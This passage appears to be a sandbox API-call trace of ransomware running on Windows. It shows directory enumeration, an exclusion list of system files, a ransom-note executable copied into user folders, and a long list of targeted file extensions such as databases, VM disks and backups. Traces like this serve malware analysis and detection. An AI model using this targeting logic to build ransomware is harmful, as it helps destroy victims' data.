returned 1 [0053.365] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.365] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0053.365] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0053.365] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52c810 [0053.365] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0053.366] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c810 | out: hHeap=0x4f0000) returned 1 [0053.366] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0053.366] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0053.366] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0053.366] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0053.366] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0053.366] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0053.367] CloseHandle (hObject=0x154) returned 1 [0053.367] CloseHandle (hObject=0x17c) returned 1 [0053.368] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0053.368] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0053.368] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0053.368] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ac1a5c0, ftCreationTime.dwHighDateTime=0x1d4c91a, ftLastAccessTime.dwLowDateTime=0x2a6ba8e0, ftLastAccessTime.dwHighDateTime=0x1d4d1ed, ftLastWriteTime.dwLowDateTime=0x2a6ba8e0, ftLastWriteTime.dwHighDateTime=0x1d4d1ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Xq4jS8elFnsM1RuTo", cAlternateFileName="XQ4JS8~1")) returned 1 [0053.368] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.368] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.368] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2=".") returned 1 [0053.368] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2="..") returned 1 [0053.368] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2="windows") returned 1 [0053.368] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2="bootmgr") returned 1 [0053.368] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2="temp") returned 1 [0053.368] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2="pagefile.sys") returned 1 [0053.368] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2="boot") returned 1 [0053.368] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2="ids.txt") returned 1 [0053.368] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2="ntuser.dat") returned 1 [0053.369] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2="perflogs") returned 1 [0053.369] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2="MSBuild") returned 1 [0053.369] lstrlenW (lpString="Xq4jS8elFnsM1RuTo") returned 17 [0053.369] lstrcpyW (in: lpString1=0x241e8b4, lpString2="Xq4jS8elFnsM1RuTo" | out: lpString1="Xq4jS8elFnsM1RuTo") returned="Xq4jS8elFnsM1RuTo" [0053.369] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c5d8 [0053.369] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x90) returned 0x532db8 [0053.369] lstrcatW (in: lpString1="Xq4jS8elFnsM1RuTo", lpString2="\\" | out: lpString1="Xq4jS8elFnsM1RuTo\\") returned="Xq4jS8elFnsM1RuTo\\" [0053.369] lstrcatW (in: lpString1="Xq4jS8elFnsM1RuTo\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Xq4jS8elFnsM1RuTo\\HOW TO BACK YOUR FILES.exe") returned="Xq4jS8elFnsM1RuTo\\HOW TO BACK YOUR FILES.exe" [0053.369] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\xq4js8elfnsm1ruto\\how to back your files.exe"), bFailIfExists=1) returned 1 [0053.385] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd079b50, ftCreationTime.dwHighDateTime=0x1d4c62c, ftLastAccessTime.dwLowDateTime=0x93d0e780, ftLastAccessTime.dwHighDateTime=0x1d4d25d, ftLastWriteTime.dwLowDateTime=0x93d0e780, ftLastWriteTime.dwHighDateTime=0x1d4d25d, nFileSizeHigh=0x0, nFileSizeLow=0xabe9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zXm1.mp4", cAlternateFileName="")) returned 1 [0053.385] lstrcmpiW (lpString1="zXm1.mp4", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.385] lstrcmpiW (lpString1="zXm1.mp4", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.385] lstrcmpiW (lpString1="zXm1.mp4", lpString2=".") returned 1 [0053.385] lstrcmpiW (lpString1="zXm1.mp4", lpString2="..") returned 1 [0053.385] lstrcmpiW (lpString1="zXm1.mp4", lpString2="windows") returned 1 [0053.385] lstrcmpiW (lpString1="zXm1.mp4", lpString2="bootmgr") returned 1 [0053.385] lstrcmpiW (lpString1="zXm1.mp4", lpString2="temp") returned 1 [0053.385] lstrcmpiW (lpString1="zXm1.mp4", lpString2="pagefile.sys") returned 1 [0053.385] lstrcmpiW (lpString1="zXm1.mp4", lpString2="boot") returned 1 [0053.385] lstrcmpiW (lpString1="zXm1.mp4", lpString2="ids.txt") returned 1 [0053.385] lstrcmpiW (lpString1="zXm1.mp4", lpString2="ntuser.dat") returned 1 [0053.385] lstrcmpiW (lpString1="zXm1.mp4", lpString2="perflogs") returned 1 [0053.385] lstrcmpiW (lpString1="zXm1.mp4", lpString2="MSBuild") returned 1 [0053.385] lstrlenW (lpString="zXm1.mp4") returned 8 [0053.385] lstrcpyW (in: lpString1=0x241e8b4, lpString2="zXm1.mp4" | out: lpString1="zXm1.mp4") returned="zXm1.mp4" [0053.385] lstrlenW (lpString="zXm1.mp4") returned 8 [0053.385] lstrlenW (lpString="Athena865") returned 9 [0053.385] lstrlenW (lpString=".dll") returned 4 [0053.385] lstrcmpiW (lpString1="zXm1.mp4", lpString2=".dll") returned 1 [0053.385] lstrlenW (lpString=".lnk") returned 4 [0053.385] lstrcmpiW (lpString1="zXm1.mp4", lpString2=".lnk") returned 1 [0053.385] lstrlenW (lpString=".ini") returned 4 [0053.385] lstrcmpiW (lpString1="zXm1.mp4", lpString2=".ini") returned 1 [0053.385] lstrlenW (lpString=".sys") returned 4 [0053.385] lstrcmpiW (lpString1="zXm1.mp4", lpString2=".sys") returned 1 [0053.385] lstrlenW (lpString="zXm1.mp4") returned 8 [0053.385] lstrlenW (lpString="bak") returned 3 [0053.385] lstrcmpiW (lpString1="mp4", lpString2="bak") returned 1 [0053.386] lstrlenW (lpString="ba_") returned 3 [0053.386] lstrcmpiW (lpString1="mp4", lpString2="ba_") returned 1 [0053.386] lstrlenW (lpString="dbb") returned 3 [0053.386] lstrcmpiW (lpString1="mp4", lpString2="dbb") returned 1 [0053.386] lstrlenW (lpString="vmdk") returned 4 [0053.386] lstrcmpiW (lpString1=".mp4", lpString2="vmdk") returned -1 [0053.386] lstrlenW (lpString="rar") returned 3 [0053.386] lstrcmpiW (lpString1="mp4", lpString2="rar") returned -1 [0053.386] lstrlenW (lpString="zip") returned 3 [0053.386] lstrcmpiW (lpString1="mp4", lpString2="zip") returned -1 [0053.386] lstrlenW (lpString="tgz") returned 3 [0053.386] lstrcmpiW (lpString1="mp4", lpString2="tgz") returned -1 [0053.386] lstrlenW (lpString="vbox") returned 4 [0053.386] lstrcmpiW (lpString1=".mp4", lpString2="vbox") returned -1 [0053.386] lstrlenW (lpString="vdi") returned 3 [0053.386] lstrcmpiW (lpString1="mp4", lpString2="vdi") returned -1 [0053.386] lstrlenW (lpString="vhd") returned 3 [0053.386] lstrcmpiW (lpString1="mp4", lpString2="vhd") returned -1 [0053.386] lstrlenW (lpString="vhdx") returned 4 [0053.386] lstrcmpiW (lpString1=".mp4", lpString2="vhdx") returned -1 [0053.386] lstrlenW (lpString="avhd") returned 4 [0053.386] lstrcmpiW (lpString1=".mp4", lpString2="avhd") returned -1 [0053.386] lstrlenW (lpString="db") returned 2 [0053.386] lstrcmpiW (lpString1="p4", lpString2="db") returned 1 [0053.386] lstrlenW (lpString="db2") returned 3 [0053.386] lstrcmpiW (lpString1="mp4", lpString2="db2") returned 1 [0053.386] lstrlenW (lpString="db3") returned 3 [0053.386] lstrcmpiW (lpString1="mp4", lpString2="db3") returned 1 [0053.386] lstrlenW (lpString="dbf") returned 3 [0053.386] lstrcmpiW (lpString1="mp4", lpString2="dbf") returned 1 [0053.386] lstrlenW (lpString="mdf") returned 3 [0053.386] lstrcmpiW (lpString1="mp4", lpString2="mdf") returned 1 [0053.386] lstrlenW (lpString="mdb") returned 3 [0053.387] lstrcmpiW (lpString1="mp4", lpString2="mdb") returned 1 [0053.387] lstrlenW (lpString="sql") returned 3 [0053.387] lstrcmpiW (lpString1="mp4", lpString2="sql") returned -1 [0053.387] lstrlenW (lpString="sqlite") returned 6 [0053.387] lstrcmpiW (lpString1="m1.mp4", lpString2="sqlite") returned -1 [0053.387] lstrlenW (lpString="sqlite3") returned 7 [0053.387] lstrcmpiW (lpString1="Xm1.mp4", lpString2="sqlite3") returned 1 [0053.387] lstrlenW (lpString="sqlitedb") returned 8 [0053.387] lstrlenW (lpString="xml") returned 3 [0053.387] lstrcmpiW (lpString1="mp4", lpString2="xml") returned -1 [0053.387] lstrlenW (lpString="$er") returned 3 [0053.387] lstrcmpiW (lpString1="mp4", lpString2="$er") returned 1 [0053.387] lstrlenW (lpString="4dd") returned 3 [0053.387] lstrcmpiW (lpString1="mp4", lpString2="4dd") returned 1 [0053.387] lstrlenW (lpString="4dl") returned 3 [0053.387] lstrcmpiW (lpString1="mp4", lpString2="4dl") returned 1 [0053.387] lstrlenW (lpString="^^^") returned 3 [0053.387] lstrcmpiW (lpString1="mp4", lpString2="^^^") returned 1 [0053.387] lstrlenW (lpString="abs") returned 3 [0053.387] lstrcmpiW (lpString1="mp4", lpString2="abs") returned 1 [0053.387] lstrlenW (lpString="abx") returned 3 [0053.387] lstrcmpiW (lpString1="mp4", lpString2="abx") returned 1 [0053.387] lstrlenW (lpString="accdb") returned 5 [0053.387] lstrcmpiW (lpString1="1.mp4", lpString2="accdb") returned -1 [0053.387] lstrlenW (lpString="accdc") returned 5 [0053.387] lstrcmpiW (lpString1="1.mp4", lpString2="accdc") returned -1 [0053.387] lstrlenW (lpString="accde") returned 5 [0053.387] lstrcmpiW (lpString1="1.mp4", lpString2="accde") returned -1 [0053.387] lstrlenW (lpString="accdr") returned 5 [0053.387] lstrcmpiW (lpString1="1.mp4", lpString2="accdr") returned -1 [0053.387] lstrlenW (lpString="accdt") returned 5 [0053.387] lstrcmpiW (lpString1="1.mp4", lpString2="accdt") returned -1 [0053.387] lstrlenW (lpString="accdw") returned 5 [0053.388] lstrcmpiW (lpString1="1.mp4", lpString2="accdw") returned -1 [0053.388] lstrlenW (lpString="accft") returned 5 [0053.388] lstrcmpiW (lpString1="1.mp4", lpString2="accft") returned -1 [0053.388] lstrlenW (lpString="adb") returned 3 [0053.388] lstrcmpiW (lpString1="mp4", lpString2="adb") returned 1 [0053.388] lstrlenW (lpString="adb") returned 3 [0053.388] lstrcmpiW (lpString1="mp4", lpString2="adb") returned 1 [0053.388] lstrlenW (lpString="ade") returned 3 [0053.388] lstrcmpiW (lpString1="mp4", lpString2="ade") returned 1 [0053.388] lstrlenW (lpString="adf") returned 3 [0053.388] lstrcmpiW (lpString1="mp4", lpString2="adf") returned 1 [0053.388] lstrlenW (lpString="adn") returned 3 [0053.388] lstrcmpiW (lpString1="mp4", lpString2="adn") returned 1 [0053.388] lstrlenW (lpString="adp") returned 3 [0053.388] lstrcmpiW (lpString1="mp4", lpString2="adp") returned 1 [0053.388] lstrlenW (lpString="alf") returned 3 [0053.388] lstrcmpiW (lpString1="mp4", lpString2="alf") returned 1 [0053.388] lstrlenW (lpString="ask") returned 3 [0053.388] lstrcmpiW (lpString1="mp4", lpString2="ask") returned 1 [0053.388] lstrlenW (lpString="btr") returned 3 [0053.388] lstrcmpiW (lpString1="mp4", lpString2="btr") returned 1 [0053.388] lstrlenW (lpString="cat") returned 3 [0053.388] lstrcmpiW (lpString1="mp4", lpString2="cat") returned 1 [0053.388] lstrlenW (lpString="cdb") returned 3 [0053.388] lstrcmpiW (lpString1="mp4", lpString2="cdb") returned 1 [0053.388] lstrlenW (lpString="ckp") returned 3 [0053.388] lstrcmpiW (lpString1="mp4", lpString2="ckp") returned 1 [0053.388] lstrlenW (lpString="cma") returned 3 [0053.388] lstrcmpiW (lpString1="mp4", lpString2="cma") returned 1 [0053.388] lstrlenW (lpString="cpd") returned 3 [0053.388] lstrcmpiW (lpString1="mp4", lpString2="cpd") returned 1 [0053.388] lstrlenW (lpString="dacpac") returned 6 [0053.388] lstrcmpiW (lpString1="m1.mp4", lpString2="dacpac") returned 1 [0053.388] lstrlenW (lpString="dad") returned 3 [0053.389] lstrcmpiW (lpString1="mp4", lpString2="dad") returned 1 [0053.389] lstrlenW (lpString="dadiagrams") returned 10 [0053.389] lstrlenW (lpString="daschema") returned 8 [0053.389] lstrlenW (lpString="db-journal") returned 10 [0053.389] lstrlenW (lpString="db-shm") returned 6 [0053.389] lstrcmpiW (lpString1="m1.mp4", lpString2="db-shm") returned 1 [0053.389] lstrlenW (lpString="db-wal") returned 6 [0053.389] lstrcmpiW (lpString1="m1.mp4", lpString2="db-wal") returned 1 [0053.389] lstrlenW (lpString="dbc") returned 3 [0053.389] lstrcmpiW (lpString1="mp4", lpString2="dbc") returned 1 [0053.389] lstrlenW (lpString="dbs") returned 3 [0053.389] lstrcmpiW (lpString1="mp4", lpString2="dbs") returned 1 [0053.389] lstrlenW (lpString="dbt") returned 3 [0053.389] lstrcmpiW (lpString1="mp4", lpString2="dbt") returned 1 [0053.389] lstrlenW (lpString="dbv") returned 3 [0053.389] lstrcmpiW (lpString1="mp4", lpString2="dbv") returned 1 [0053.389] lstrlenW (lpString="dbx") returned 3 [0053.389] lstrcmpiW (lpString1="mp4", lpString2="dbx") returned 1 [0053.389] lstrlenW (lpString="dcb") returned 3 [0053.389] lstrcmpiW (lpString1="mp4", lpString2="dcb") returned 1 [0053.389] lstrlenW (lpString="dct") returned 3 [0053.389] lstrcmpiW (lpString1="mp4", lpString2="dct") returned 1 [0053.389] lstrlenW (lpString="dcx") returned 3 [0053.389] lstrcmpiW (lpString1="mp4", lpString2="dcx") returned 1 [0053.389] lstrlenW (lpString="ddl") returned 3 [0053.389] lstrcmpiW (lpString1="mp4", lpString2="ddl") returned 1 [0053.389] lstrlenW (lpString="dlis") returned 4 [0053.389] lstrcmpiW (lpString1=".mp4", lpString2="dlis") returned -1 [0053.389] lstrlenW (lpString="dp1") returned 3 [0053.389] lstrcmpiW (lpString1="mp4", lpString2="dp1") returned 1 [0053.389] lstrlenW (lpString="dqy") returned 3 [0053.389] lstrcmpiW (lpString1="mp4", lpString2="dqy") returned 1 [0053.389] lstrlenW (lpString="dsk") returned 3 [0053.389] lstrcmpiW (lpString1="mp4", lpString2="dsk") returned 1 [0053.389] lstrlenW (lpString="dsn") returned 3 [0053.390] lstrcmpiW (lpString1="mp4", lpString2="dsn") returned 1 [0053.390] lstrlenW (lpString="dtsx") returned 4 [0053.390] lstrcmpiW (lpString1=".mp4", lpString2="dtsx") returned -1 [0053.390] lstrlenW (lpString="dxl") returned 3 [0053.390] lstrcmpiW (lpString1="mp4", lpString2="dxl") returned 1 [0053.390] lstrlenW (lpString="eco") returned 3 [0053.390] lstrcmpiW (lpString1="mp4", lpString2="eco") returned 1 [0053.390] lstrlenW (lpString="ecx") returned 3 [0053.390] lstrcmpiW (lpString1="mp4", lpString2="ecx") returned 1 [0053.390] lstrlenW (lpString="edb") returned 3 [0053.390] lstrcmpiW (lpString1="mp4", lpString2="edb") returned 1 [0053.390] lstrlenW (lpString="epim") returned 4 [0053.390] lstrcmpiW (lpString1=".mp4", lpString2="epim") returned -1 [0053.390] lstrlenW (lpString="fcd") returned 3 [0053.390] lstrcmpiW (lpString1="mp4", lpString2="fcd") returned 1 [0053.390] lstrlenW (lpString="fdb") returned 3 [0053.390] lstrcmpiW (lpString1="mp4", lpString2="fdb") returned 1 [0053.390] lstrlenW (lpString="fic") returned 3 [0053.390] lstrcmpiW (lpString1="mp4", lpString2="fic") returned 1 [0053.390] lstrlenW (lpString="flexolibrary") returned 12 [0053.390] lstrlenW (lpString="fm5") returned 3 [0053.390] lstrcmpiW (lpString1="mp4", lpString2="fm5") returned 1 [0053.390] lstrlenW (lpString="fmp") returned 3 [0053.390] lstrcmpiW (lpString1="mp4", lpString2="fmp") returned 1 [0053.390] lstrlenW (lpString="fmp12") returned 5 [0053.390] lstrcmpiW (lpString1="1.mp4", lpString2="fmp12") returned -1 [0053.390] lstrlenW (lpString="fmpsl") returned 5 [0053.390] lstrcmpiW (lpString1="1.mp4", lpString2="fmpsl") returned -1 [0053.390] lstrlenW (lpString="fol") returned 3 [0053.390] lstrcmpiW (lpString1="mp4", lpString2="fol") returned 1 [0053.390] lstrlenW (lpString="fp3") returned 3 [0053.390] lstrcmpiW (lpString1="mp4", lpString2="fp3") returned 1 [0053.390] lstrlenW (lpString="fp4") returned 3 [0053.391] lstrcmpiW (lpString1="mp4", lpString2="fp4") returned 1 [0053.391] lstrlenW (lpString="fp5") returned 3 [0053.391] lstrcmpiW (lpString1="mp4", lpString2="fp5") returned 1 [0053.391] lstrlenW (lpString="fp7") returned 3 [0053.391] lstrcmpiW (lpString1="mp4", lpString2="fp7") returned 1 [0053.391] lstrlenW (lpString="fpt") returned 3 [0053.391] lstrcmpiW (lpString1="mp4", lpString2="fpt") returned 1 [0053.391] lstrlenW (lpString="frm") returned 3 [0053.391] lstrcmpiW (lpString1="mp4", lpString2="frm") returned 1 [0053.391] lstrlenW (lpString="gdb") returned 3 [0053.391] lstrcmpiW (lpString1="mp4", lpString2="gdb") returned 1 [0053.391] lstrlenW (lpString="gdb") returned 3 [0053.391] lstrcmpiW (lpString1="mp4", lpString2="gdb") returned 1 [0053.391] lstrlenW (lpString="grdb") returned 4 [0053.391] lstrcmpiW (lpString1=".mp4", lpString2="grdb") returned -1 [0053.391] lstrlenW (lpString="gwi") returned 3 [0053.391] lstrcmpiW (lpString1="mp4", lpString2="gwi") returned 1 [0053.391] lstrlenW (lpString="hdb") returned 3 [0053.391] lstrcmpiW (lpString1="mp4", lpString2="hdb") returned 1 [0053.391] lstrlenW (lpString="his") returned 3 [0053.391] lstrcmpiW (lpString1="mp4", lpString2="his") returned 1 [0053.391] lstrlenW (lpString="ib") returned 2 [0053.391] lstrcmpiW (lpString1="p4", lpString2="ib") returned 1 [0053.391] lstrlenW (lpString="idb") returned 3 [0053.391] lstrcmpiW (lpString1="mp4", lpString2="idb") returned 1 [0053.391] lstrlenW (lpString="ihx") returned 3 [0053.391] lstrcmpiW (lpString1="mp4", lpString2="ihx") returned 1 [0053.391] lstrlenW (lpString="itdb") returned 4 [0053.391] lstrcmpiW (lpString1=".mp4", lpString2="itdb") returned -1 [0053.391] lstrlenW (lpString="itw") returned 3 [0053.391] lstrcmpiW (lpString1="mp4", lpString2="itw") returned 1 [0053.391] lstrlenW (lpString="jet") returned 3 [0053.391] lstrcmpiW (lpString1="mp4", lpString2="jet") returned 1 [0053.391] lstrlenW (lpString="jtx") returned 3 [0053.392] lstrcmpiW (lpString1="mp4", lpString2="jtx") returned 1 [0053.392] lstrlenW (lpString="kdb") returned 3 [0053.392] lstrcmpiW (lpString1="mp4", lpString2="kdb") returned 1 [0053.392] lstrlenW (lpString="kexi") returned 4 [0053.392] lstrcmpiW (lpString1=".mp4", lpString2="kexi") returned -1 [0053.392] lstrlenW (lpString="kexic") returned 5 [0053.392] lstrcmpiW (lpString1="1.mp4", lpString2="kexic") returned -1 [0053.392] lstrlenW (lpString="kexis") returned 5 [0053.392] lstrcmpiW (lpString1="1.mp4", lpString2="kexis") returned -1 [0053.392] lstrlenW (lpString="lgc") returned 3 [0053.392] lstrcmpiW (lpString1="mp4", lpString2="lgc") returned 1 [0053.392] lstrlenW (lpString="lwx") returned 3 [0053.392] lstrcmpiW (lpString1="mp4", lpString2="lwx") returned 1 [0053.392] lstrlenW (lpString="maf") returned 3 [0053.392] lstrcmpiW (lpString1="mp4", lpString2="maf") returned 1 [0053.392] lstrlenW (lpString="maq") returned 3 [0053.392] lstrcmpiW (lpString1="mp4", lpString2="maq") returned 1 [0053.392] lstrlenW (lpString="mar") returned 3 [0053.392] lstrcmpiW (lpString1="mp4", lpString2="mar") returned 1 [0053.392] lstrlenW (lpString="marshal") returned 7 [0053.392] lstrcmpiW (lpString1="Xm1.mp4", lpString2="marshal") returned 1 [0053.392] lstrlenW (lpString="mas") returned 3 [0053.392] lstrcmpiW (lpString1="mp4", lpString2="mas") returned 1 [0053.392] lstrlenW (lpString="mav") returned 3 [0053.392] lstrcmpiW (lpString1="mp4", lpString2="mav") returned 1 [0053.392] lstrlenW (lpString="maw") returned 3 [0053.392] lstrcmpiW (lpString1="mp4", lpString2="maw") returned 1 [0053.392] lstrlenW (lpString="mdbhtml") returned 7 [0053.392] lstrcmpiW (lpString1="Xm1.mp4", lpString2="mdbhtml") returned 1 [0053.392] lstrlenW (lpString="mdn") returned 3 [0053.392] lstrcmpiW (lpString1="mp4", lpString2="mdn") returned 1 [0053.392] lstrlenW (lpString="mdt") returned 3 [0053.392] lstrcmpiW (lpString1="mp4", lpString2="mdt") returned 1 [0053.392] lstrlenW (lpString="mfd") returned 3 [0053.393] lstrcmpiW (lpString1="mp4", lpString2="mfd") returned 1 [0053.393] lstrlenW (lpString="mpd") returned 3 [0053.393] lstrcmpiW (lpString1="mp4", lpString2="mpd") returned -1 [0053.393] lstrlenW (lpString="mrg") returned 3 [0053.393] lstrcmpiW (lpString1="mp4", lpString2="mrg") returned -1 [0053.393] lstrlenW (lpString="mud") returned 3 [0053.393] lstrcmpiW (lpString1="mp4", lpString2="mud") returned -1 [0053.393] lstrlenW (lpString="mwb") returned 3 [0053.393] lstrcmpiW (lpString1="mp4", lpString2="mwb") returned -1 [0053.393] lstrlenW (lpString="myd") returned 3 [0053.393] lstrcmpiW (lpString1="mp4", lpString2="myd") returned -1 [0053.393] lstrlenW (lpString="ndf") returned 3 [0053.393] lstrcmpiW (lpString1="mp4", lpString2="ndf") returned -1 [0053.393] lstrlenW (lpString="nnt") returned 3 [0053.393] lstrcmpiW (lpString1="mp4", lpString2="nnt") returned -1 [0053.393] lstrlenW (lpString="nrmlib") returned 6 [0053.393] lstrcmpiW (lpString1="m1.mp4", lpString2="nrmlib") returned -1 [0053.393] lstrlenW (lpString="ns2") returned 3 [0053.393] lstrcmpiW (lpString1="mp4", lpString2="ns2") returned -1 [0053.393] lstrlenW (lpString="ns3") returned 3 [0053.393] lstrcmpiW (lpString1="mp4", lpString2="ns3") returned -1 [0053.393] lstrlenW (lpString="ns4") returned 3 [0053.393] lstrcmpiW (lpString1="mp4", lpString2="ns4") returned -1 [0053.393] lstrlenW (lpString="nsf") returned 3 [0053.393] lstrcmpiW (lpString1="mp4", lpString2="nsf") returned -1 [0053.393] lstrlenW (lpString="nv") returned 2 [0053.393] lstrcmpiW (lpString1="p4", lpString2="nv") returned 1 [0053.393] lstrlenW (lpString="nv2") returned 3 [0053.393] lstrcmpiW (lpString1="mp4", lpString2="nv2") returned -1 [0053.393] lstrlenW (lpString="nwdb") returned 4 [0053.393] lstrcmpiW (lpString1=".mp4", lpString2="nwdb") returned -1 [0053.393] lstrlenW (lpString="nyf") returned 3 [0053.393] lstrcmpiW (lpString1="mp4", lpString2="nyf") returned -1 [0053.393] lstrlenW (lpString="odb") returned 3 [0053.394] lstrcmpiW (lpString1="mp4", lpString2="odb") returned -1 [0053.394] lstrlenW (lpString="odb") returned 3 [0053.394] lstrcmpiW (lpString1="mp4", lpString2="odb") returned -1 [0053.394] lstrlenW (lpString="oqy") returned 3 [0053.394] lstrcmpiW (lpString1="mp4", lpString2="oqy") returned -1 [0053.394] lstrlenW (lpString="ora") returned 3 [0053.394] lstrcmpiW (lpString1="mp4", lpString2="ora") returned -1 [0053.394] lstrlenW (lpString="orx") returned 3 [0053.394] lstrcmpiW (lpString1="mp4", lpString2="orx") returned -1 [0053.394] lstrlenW (lpString="owc") returned 3 [0053.394] lstrcmpiW (lpString1="mp4", lpString2="owc") returned -1 [0053.394] lstrlenW (lpString="p96") returned 3 [0053.394] lstrcmpiW (lpString1="mp4", lpString2="p96") returned -1 [0053.394] lstrlenW (lpString="p97") returned 3 [0053.394] lstrcmpiW (lpString1="mp4", lpString2="p97") returned -1 [0053.394] lstrlenW (lpString="pan") returned 3 [0053.394] lstrcmpiW (lpString1="mp4", lpString2="pan") returned -1 [0053.394] lstrlenW (lpString="pdb") returned 3 [0053.394] lstrcmpiW (lpString1="mp4", lpString2="pdb") returned -1 [0053.394] lstrlenW (lpString="pdm") returned 3 [0053.394] lstrcmpiW (lpString1="mp4", lpString2="pdm") returned -1 [0053.394] lstrlenW (lpString="pnz") returned 3 [0053.394] lstrcmpiW (lpString1="mp4", lpString2="pnz") returned -1 [0053.394] lstrlenW (lpString="qry") returned 3 [0053.394] lstrcmpiW (lpString1="mp4", lpString2="qry") returned -1 [0053.394] lstrlenW (lpString="qvd") returned 3 [0053.394] lstrcmpiW (lpString1="mp4", lpString2="qvd") returned -1 [0053.394] lstrlenW (lpString="rbf") returned 3 [0053.394] lstrcmpiW (lpString1="mp4", lpString2="rbf") returned -1 [0053.394] lstrlenW (lpString="rctd") returned 4 [0053.394] lstrcmpiW (lpString1=".mp4", lpString2="rctd") returned -1 [0053.394] lstrlenW (lpString="rod") returned 3 [0053.394] lstrcmpiW (lpString1="mp4", lpString2="rod") returned -1 [0053.395] lstrlenW (lpString="rodx") returned 4 [0053.395] lstrcmpiW (lpString1=".mp4", lpString2="rodx") returned -1 [0053.395] lstrlenW (lpString="rpd") returned 3 [0053.395] lstrcmpiW (lpString1="mp4", lpString2="rpd") returned -1 [0053.395] lstrlenW (lpString="rsd") returned 3 [0053.395] lstrcmpiW (lpString1="mp4", lpString2="rsd") returned -1 [0053.395] lstrlenW (lpString="sas7bdat") returned 8 [0053.395] lstrlenW (lpString="sbf") returned 3 [0053.395] lstrcmpiW (lpString1="mp4", lpString2="sbf") returned -1 [0053.395] lstrlenW (lpString="scx") returned 3 [0053.395] lstrcmpiW (lpString1="mp4", lpString2="scx") returned -1 [0053.395] lstrlenW (lpString="sdb") returned 3 [0053.395] lstrcmpiW (lpString1="mp4", lpString2="sdb") returned -1 [0053.395] lstrlenW (lpString="sdc") returned 3 [0053.395] lstrcmpiW (lpString1="mp4", lpString2="sdc") returned -1 [0053.395] lstrlenW (lpString="sdf") returned 3 [0053.395] lstrcmpiW (lpString1="mp4", lpString2="sdf") returned -1 [0053.395] lstrlenW (lpString="sis") returned 3 [0053.395] lstrcmpiW (lpString1="mp4", lpString2="sis") returned -1 [0053.395] lstrlenW (lpString="spq") returned 3 [0053.395] lstrcmpiW (lpString1="mp4", lpString2="spq") returned -1 [0053.395] lstrlenW (lpString="te") returned 2 [0053.395] lstrcmpiW (lpString1="p4", lpString2="te") returned -1 [0053.395] lstrlenW (lpString="teacher") returned 7 [0053.395] lstrcmpiW (lpString1="Xm1.mp4", lpString2="teacher") returned 1 [0053.395] lstrlenW (lpString="tmd") returned 3 [0053.395] lstrcmpiW (lpString1="mp4", lpString2="tmd") returned -1 [0053.395] lstrlenW (lpString="tps") returned 3 [0053.395] lstrcmpiW (lpString1="mp4", lpString2="tps") returned -1 [0053.395] lstrlenW (lpString="trc") returned 3 [0053.395] lstrcmpiW (lpString1="mp4", lpString2="trc") returned -1 [0053.395] lstrlenW (lpString="trc") returned 3 [0053.395] lstrcmpiW (lpString1="mp4", lpString2="trc") returned -1 [0053.395] lstrlenW (lpString="trm") returned 3 [0053.396] lstrcmpiW (lpString1="mp4", lpString2="trm") returned -1 [0053.396] lstrlenW (lpString="udb") returned 3 [0053.396] 